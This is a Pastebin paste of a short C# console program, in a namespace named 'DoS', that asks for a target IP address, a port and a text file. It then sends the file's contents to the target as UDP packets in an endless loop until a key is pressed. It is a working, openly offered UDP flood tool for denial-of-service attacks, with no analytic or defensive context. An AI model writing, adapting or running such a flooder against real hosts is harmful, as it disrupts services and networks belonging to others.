TeHArGiS10

Untitled

Jul 20th, 2016
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.IO;
  6. using System.Net;
  7. using System.Net.Sockets;
  8.  
  9. namespace DoS
  10. {
  11. class MainClass
  12. {
  13. public static void Main (string[] args)
  14. {
  15. string ipadress;
  16. int port;
  17. string txtfile;
  18. string text;
  19. Socket client = new Socket (AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  20.  
  21. Start:
  22. Console.Write ("Txt location: ");
  23. txtfile = Convert.ToString (Console.ReadLine ());
  24.  
  25. if (File.Exists (txtfile)) {
  26. goto Continue;
  27. } else {
  28. Console.WriteLine("File not found\n");
  29. goto Start;
  30. }
  31.  
  32. Continue:
  33. Console.Write ("Target IP Address: ");
  34. ipadress = Convert.ToString (Console.ReadLine ());
  35.  
  36. Console.Write ("Target Port: ");
  37. port = Convert.ToInt32 (Console.ReadLine ());
  38.  
  39. IPEndPoint ip_port = new IPEndPoint (IPAddress.Parse(ipadress), port);
  40.  
  41. using (StreamReader sr = new StreamReader (txtfile))
  42. text = sr.ReadToEnd ();
  43.  
  44. byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes (text);
  45.  
  46. try {
  47. client.SendTo (packetData, ip_port);
  48. Console.WriteLine ("Sending UDP packets to " + ipadress + ":" + port + "\n>Press any key to stop!<");
  49. goto Send;
  50. }
  51.  
  52. catch(Exception) {
  53. Console.WriteLine("Error sending packets.\n");
  54. goto Start;
  55. }
  56.  
  57. Send:
  58. client.SendTo (packetData, ip_port);
  59. if (Console.KeyAvailable) {
  60. client.Shutdown (SocketShutdown.Send);
  61. Environment.Exit (0);
  62. }
  63. goto Send;
  64. }
  65. }
  66. }
Advertisement
Add Comment
Please, Sign In to add comment